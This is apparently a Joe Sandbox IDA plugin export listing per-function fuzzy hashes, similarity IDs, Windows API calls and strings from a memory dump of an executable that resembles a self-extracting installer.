Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 651b18166e163d38126b57bec11a40fe2d1053f86929e6fedc5c23f0bf928afa
Instruction ID: 74c9c541b405f846cc3097b4fb62ad91a6ef8a37b7a7d1c430dd68785cdd7a03
Opcode Fuzzy Hash: 651b18166e163d38126b57bec11a40fe2d1053f86929e6fedc5c23f0bf928afa
Instruction Fuzzy Hash: 76216D72A18A42C7E7608B61E4457BABAB0FF8DB45F60A139DA4E83A54DF3CD045CB00

Function 00007FF681C28BF4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF681C28C24
GetCurrentProcessId.KERNEL32 ref: 00007FF681C28C32
GetCurrentThreadId.KERNEL32 ref: 00007FF681C28C3E
GetTickCount.KERNEL32 ref: 00007FF681C28C4A
GetTickCount.KERNEL32 ref: 00007FF681C28C5A
QueryPerformanceCounter.KERNEL32 ref: 00007FF681C28C75

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: dcb9afa00af80bbd2438476da7bde3a9357a0fac88edcf4c174e2726fe409359
Instruction ID: fb2af4226b583aaf542ed7417175290eddbef81c70165f8d8b5b705327307181
Opcode Fuzzy Hash: dcb9afa00af80bbd2438476da7bde3a9357a0fac88edcf4c174e2726fe409359
Instruction Fuzzy Hash: 4911F722A05B41CBEB409F71E8442A833B4FB4D758F502A38EA6D87754EF7CE5A4C240

Function 00007FF681C28A1E Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF681C28A2B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 31ba59d9759834a282d63e6df2edccb489d5ae17e54cd4dbc75f9f5da0e92170
Instruction ID: 707607326a32f74b7ad96be3bc8ceda5323e8897effd65741f81ea686e012965
Opcode Fuzzy Hash: 31ba59d9759834a282d63e6df2edccb489d5ae17e54cd4dbc75f9f5da0e92170
Instruction Fuzzy Hash: D0B09B4661759242D60557B54D4914516502F4A5247982558C618C1950D95CA159C604

Function 00007FF681C23A4E Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00007FF681C23AA4
ResetEvent.KERNEL32 ref: 00007FF681C23ACC
SetEvent.KERNEL32 ref: 00007FF681C23B13
GetDesktopWindow.USER32 ref: 00007FF681C23B58
GetDlgItem.USER32 ref: 00007FF681C23B82
SendMessageA.USER32 ref: 00007FF681C23B9F
GetDlgItem.USER32 ref: 00007FF681C23BB0
SendMessageA.USER32 ref: 00007FF681C23BCF
SetWindowTextA.USER32 ref: 00007FF681C23BE5
CreateThread.KERNEL32 ref: 00007FF681C23C10
EndDialog.USER32 ref: 00007FF681C23C5A

Strings

gam, xrefs: 00007FF681C23BDB
, xrefs: 00007FF681C23AF6

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $gam
API String ID: 2654313074-718174934
Opcode ID: 102dc3b5d48e4a10d943dd3270078a4fcb1ac186441280d74bee6b8f378a008b
Instruction ID: 3b00f3dd74c07688abe0cd39e3edcb5864f883beacc81ac5534a16ed78db2d58
Opcode Fuzzy Hash: 102dc3b5d48e4a10d943dd3270078a4fcb1ac186441280d74bee6b8f378a008b
Instruction Fuzzy Hash: 59515F71E08A42C7E7508B15E9442796AB1FF8DB95F64B239C91E83B94CF7CA085C704

Function 00007FF681C27320 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 438COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF681C27398
GetModuleFileNameA.KERNEL32 ref: 00007FF681C27473
CharUpperA.USER32 ref: 00007FF681C274B6
CharUpperA.USER32 ref: 00007FF681C2754C
CompareStringA.KERNEL32 ref: 00007FF681C275E0
CharUpperA.USER32 ref: 00007FF681C2761B
CharUpperA.USER32 ref: 00007FF681C27677
CharUpperA.USER32 ref: 00007FF681C27710
CloseHandle.KERNEL32 ref: 00007FF681C278F8
ExitProcess.KERNEL32 ref: 00007FF681C27906

Strings

RegServer, xrefs: 00007FF681C275D1
", xrefs: 00007FF681C273FF
:, xrefs: 00007FF681C276BB

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$RegServer
API String ID: 1203814774-766454958
Opcode ID: ff462ce63a305f3a2fc0ff44f4bbd5613ae8e25fd08773fadb5e4e06ed0c4393
Instruction ID: ba94879caa4e8b048cadb7987fbea524c9931f698b94c5f5971ee7c9ad12ed5d
Opcode Fuzzy Hash: ff462ce63a305f3a2fc0ff44f4bbd5613ae8e25fd08773fadb5e4e06ed0c4393
Instruction Fuzzy Hash: 11029F61A0C782C7FB618B28D4942796BB2BF6E750F78253DC95EC6695CE3CE405C701

Function 00007FF681C24B70 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24B9A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24BBE
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24BDE
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24C05
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24C36
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24C54
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24C6E
FreeLibrary.KERNEL32 ref: 00007FF681C24D50
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C23723), ref: 00007FF681C24D6C

Strings

SHBrowseForFolder, xrefs: 00007FF681C24BB4
SHELL32.DLL, xrefs: 00007FF681C24B93
SHGetPathFromIDList, xrefs: 00007FF681C24BFB

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 00cffe6a6b6efc49b9df64414d7755e864694d57a2bcf60638ec42af2eb0385e
Instruction ID: ed5c0a1e0134091d5d860383f8ecc65d99d8428eb6faa15573619972300cb98b
Opcode Fuzzy Hash: 00cffe6a6b6efc49b9df64414d7755e864694d57a2bcf60638ec42af2eb0385e
Instruction Fuzzy Hash: 72516D62A09B91C7EB518B15E8141797BB0FF8EB90FA56279CA4E87794DF3CE409C700

Function 00007FF681C22644 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 147registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF681C2268A
CharNextA.USER32 ref: 00007FF681C2269C
CharNextA.USER32 ref: 00007FF681C226AB
RegOpenKeyExA.ADVAPI32 ref: 00007FF681C2274C
RegQueryValueExA.ADVAPI32 ref: 00007FF681C22783
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF681C227AA
RegCloseKey.ADVAPI32 ref: 00007FF681C2280B
GetWindowsDirectoryA.KERNEL32 ref: 00007FF681C22821
GetSystemDirectoryA.KERNEL32 ref: 00007FF681C22837
GetSystemDirectoryA.KERNEL32 ref: 00007FF681C2284E

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF681C226CE

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CharDirectory$NextSystem$CloseEnvironmentExpandOpenQueryStringsUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 229715263-2428544900
Opcode ID: 5f260c0c44f67a4d333ec0cf67bdc95a0204cc5ba749ef7936c119a4bc59c0ba
Instruction ID: f806252a78c5df6b0e973ceaabe1de2af12cc4e2d2311322d5c7d8226ce4772f
Opcode Fuzzy Hash: 5f260c0c44f67a4d333ec0cf67bdc95a0204cc5ba749ef7936c119a4bc59c0ba
Instruction Fuzzy Hash: 68515E72618681C7EB518B10E4442BABBB0FF8AB80FA46139EA5E87794DF7CD545C700

Function 00007FF681C24F2C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 183memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF681C24FBC
LocalAlloc.KERNEL32 ref: 00007FF681C250BD
LocalAlloc.KERNEL32 ref: 00007FF681C250F1
MessageBoxA.USER32 ref: 00007FF681C24FFC

Part of subcall function 00007FF681C28084: EnumResourceLanguagesA.KERNEL32 ref: 00007FF681C280DC
Part of subcall function 00007FF681C28084: EnumResourceLanguagesA.KERNEL32 ref: 00007FF681C2811A

LocalAlloc.KERNEL32 ref: 00007FF681C25058
MessageBeep.USER32 ref: 00007FF681C25162
MessageBoxA.USER32 ref: 00007FF681C251A7
LocalFree.KERNEL32 ref: 00007FF681C251B8

Part of subcall function 00007FF681C28154: GetVersionExA.KERNEL32 ref: 00007FF681C281A9
Part of subcall function 00007FF681C28154: GetSystemMetrics.USER32 ref: 00007FF681C281E3
Part of subcall function 00007FF681C28154: RegOpenKeyExA.ADVAPI32 ref: 00007FF681C28218
Part of subcall function 00007FF681C28154: RegQueryValueExA.ADVAPI32 ref: 00007FF681C28253
Part of subcall function 00007FF681C28154: RegCloseKey.ADVAPI32 ref: 00007FF681C28266
Part of subcall function 00007FF681C28154: CharNextA.USER32 ref: 00007FF681C282B5

Strings

gam, xrefs: 00007FF681C24FED, 00007FF681C25193
rce., xrefs: 00007FF681C24F68

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: gam$rce.
API String ID: 2929476258-1562192793
Opcode ID: 695e6ae24b2fda61812be3d6b4eb2d2880fa2c845b4d1dcc7c30464c9a896a07
Instruction ID: 8cce30d8186c1aa8b646cdbc9d6222975a3f5f89af5632f515c15374db0c0a15
Opcode Fuzzy Hash: 695e6ae24b2fda61812be3d6b4eb2d2880fa2c845b4d1dcc7c30464c9a896a07
Instruction Fuzzy Hash: 8E717C61E08782C7FB518B65E8003F96AA0BF5DB94F246238DE4E97795DE3CE586C700

Function 00007FF681C2351E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF681C23560
GetDesktopWindow.USER32 ref: 00007FF681C23571
SetDlgItemTextA.USER32 ref: 00007FF681C23597
SetWindowTextA.USER32 ref: 00007FF681C235AD
SetForegroundWindow.USER32 ref: 00007FF681C235BC
GetDlgItem.USER32 ref: 00007FF681C235D0
GetWindowLongPtrA.USER32 ref: 00007FF681C235E7
SetWindowLongPtrA.USER32 ref: 00007FF681C23609
SendDlgItemMessageA.USER32 ref: 00007FF681C2363A

Strings

gam, xrefs: 00007FF681C235A3

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: gam
API String ID: 3785188418-4248585140
Opcode ID: 3cd91ea36e2fe533022bde91c2053d597b5ed78ae3c01b02fd4e722d67f546ca
Instruction ID: 0796f8721de416b32e2e15007d5ef41523c5d342d7aa4551401a660dd83a5aa2
Opcode Fuzzy Hash: 3cd91ea36e2fe533022bde91c2053d597b5ed78ae3c01b02fd4e722d67f546ca
Instruction Fuzzy Hash: 2831CD75A08652C7EB509B65E8042B47A71FF8EB61F64B338C91E86394DF7CA589C600

Function 00007FF681C21258 Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C21130: LoadLibraryA.KERNEL32 ref: 00007FF681C2116D
Part of subcall function 00007FF681C21130: GetProcAddress.KERNEL32 ref: 00007FF681C2118F
Part of subcall function 00007FF681C21130: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF681C211DC
Part of subcall function 00007FF681C21130: FreeSid.ADVAPI32 ref: 00007FF681C2120E
Part of subcall function 00007FF681C21130: FreeLibrary.KERNEL32 ref: 00007FF681C2121D

GetCurrentProcess.KERNEL32 ref: 00007FF681C212B9
OpenProcessToken.ADVAPI32 ref: 00007FF681C212CF
GetTokenInformation.ADVAPI32 ref: 00007FF681C212F8
GetLastError.KERNEL32 ref: 00007FF681C2130C
LocalAlloc.KERNEL32 ref: 00007FF681C21326
GetTokenInformation.ADVAPI32 ref: 00007FF681C21354
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF681C213A1
EqualSid.ADVAPI32 ref: 00007FF681C213CC
FreeSid.ADVAPI32 ref: 00007FF681C213F1
LocalFree.KERNEL32 ref: 00007FF681C21400
CloseHandle.KERNEL32 ref: 00007FF681C21410

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 5b9a876a687c0cd876b8f10eb9d641b76ea1257b643d82222502781fe655744d
Instruction ID: aaaaf50545b4404515827e28d430024ce95113ff7cde21518dd7f47c94762582
Opcode Fuzzy Hash: 5b9a876a687c0cd876b8f10eb9d641b76ea1257b643d82222502781fe655744d
Instruction Fuzzy Hash: E6512C32604A81CBE7608F61E4941A97BB4FF8DB88F616139DA0E93754DF3DE544CB00

Function 00007FF681C28154 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF681C281A9
GetSystemMetrics.USER32 ref: 00007FF681C281E3
RegOpenKeyExA.ADVAPI32 ref: 00007FF681C28218
RegQueryValueExA.ADVAPI32 ref: 00007FF681C28253
RegCloseKey.ADVAPI32 ref: 00007FF681C28266
CharNextA.USER32 ref: 00007FF681C282B5

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF681C2820A

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 92574d76233e057d688226138012ae270226e38269e34de28d45b127ba883e32
Instruction ID: 325f82b5e978d4afe11aa2130427c22885e8c8bf2fbe6a5604f1b10d822fa40c
Opcode Fuzzy Hash: 92574d76233e057d688226138012ae270226e38269e34de28d45b127ba883e32
Instruction Fuzzy Hash: B851B032A08A91CBEB508B21E4401B977B4FF8EB50F65613ADA5D83795DF3CE444CB04

Function 00007FF681C22AE8 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF681C22B3A
IsDBCSLeadByte.KERNEL32 ref: 00007FF681C22B56
CharNextA.USER32 ref: 00007FF681C22B7C
CharUpperA.USER32 ref: 00007FF681C22B8F
CharPrevA.USER32 ref: 00007FF681C22BCB
CharUpperA.USER32 ref: 00007FF681C22C71
CharNextA.USER32 ref: 00007FF681C22D16
CharNextA.USER32 ref: 00007FF681C22D28

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 0d82e86da81dc2cef2af64c70c057c8b3ef052c49615e3a21940497ab07f1174
Instruction ID: 1f0e641c1b5ba5a32acd9a783cf1f32836fe4549148e3a706f7bfe2a7552a77a
Opcode Fuzzy Hash: 0d82e86da81dc2cef2af64c70c057c8b3ef052c49615e3a21940497ab07f1174
Instruction Fuzzy Hash: 41716E61A0C6C5C6FF624F64D4103B86BB0BF5EB90F686279CAAE87791CF6CA445C311

Function 00007FF681C22898 Relevance: 12.2, APIs: 8, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF681C22AC2

Part of subcall function 00007FF681C22644: CharUpperA.USER32 ref: 00007FF681C2268A
Part of subcall function 00007FF681C22644: CharNextA.USER32 ref: 00007FF681C2269C
Part of subcall function 00007FF681C22644: CharNextA.USER32 ref: 00007FF681C226AB
Part of subcall function 00007FF681C22644: RegOpenKeyExA.ADVAPI32 ref: 00007FF681C2274C
Part of subcall function 00007FF681C22644: RegQueryValueExA.ADVAPI32 ref: 00007FF681C22783
Part of subcall function 00007FF681C22644: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF681C227AA

GetFileVersionInfoSizeA.VERSION ref: 00007FF681C2290F
GlobalAlloc.KERNEL32 ref: 00007FF681C2292E
GlobalLock.KERNEL32 ref: 00007FF681C22949
GetFileVersionInfoA.VERSION ref: 00007FF681C22971
VerQueryValueA.VERSION ref: 00007FF681C22997
GlobalUnlock.KERNEL32 ref: 00007FF681C22A41
GlobalUnlock.KERNEL32 ref: 00007FF681C22A5C

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 2156179360-0
Opcode ID: f5cf7ecaecd271d02cfedb1b12fcc4206d5a711b6b10f9e7bdb34ea6bdc4f517
Instruction ID: 7e374b65bbd01abc8a089ec1c01929f7c8c4273c9608c996dfdd06a088a167a7
Opcode Fuzzy Hash: f5cf7ecaecd271d02cfedb1b12fcc4206d5a711b6b10f9e7bdb34ea6bdc4f517
Instruction Fuzzy Hash: BF614972A08692CBEB608B15D5056B87BB1FF09794F24A539DE2D93B94DF3CE881C740

Function 00007FF681C24DC8 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C214DE), ref: 00007FF681C24DFB
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF681C214DE), ref: 00007FF681C24E1C
GetDC.USER32 ref: 00007FF681C24E39
GetDeviceCaps.GDI32 ref: 00007FF681C24E50
GetDeviceCaps.GDI32 ref: 00007FF681C24E67
ReleaseDC.USER32 ref: 00007FF681C24E80
SetWindowPos.USER32 ref: 00007FF681C24EF2

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 69ea89c86bae83f4795465c8798f6678767ed30391b1f5c5e5c0b97e0bec92e7
Instruction ID: 5ed4e9501b033fe227d25b5cbb27e64733527967a55c9c7b9e508e03a8f8f935
Opcode Fuzzy Hash: 69ea89c86bae83f4795465c8798f6678767ed30391b1f5c5e5c0b97e0bec92e7
Instruction Fuzzy Hash: F0313A36B24651CBE7108B65E904AADBBB1FB4DB99F696134CE0A93B44CE3CE445CB00

Function 00007FF681C24064 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF681C23261), ref: 00007FF681C24085
LocalFree.KERNEL32 ref: 00007FF681C24108

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Part of subcall function 00007FF681C27958: GetLastError.KERNEL32 ref: 00007FF681C2795C

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF681C23261), ref: 00007FF681C2412E
LocalFree.KERNEL32(?,?,?,?,?,00007FF681C23261), ref: 00007FF681C2418F

Part of subcall function 00007FF681C27D28: FindResourceA.KERNEL32 ref: 00007FF681C27D52
Part of subcall function 00007FF681C27D28: LoadResource.KERNEL32 ref: 00007FF681C27D69
Part of subcall function 00007FF681C27D28: DialogBoxIndirectParamA.USER32 ref: 00007FF681C27D9F
Part of subcall function 00007FF681C27D28: FreeResource.KERNEL32 ref: 00007FF681C27DB1

LocalFree.KERNEL32 ref: 00007FF681C24168

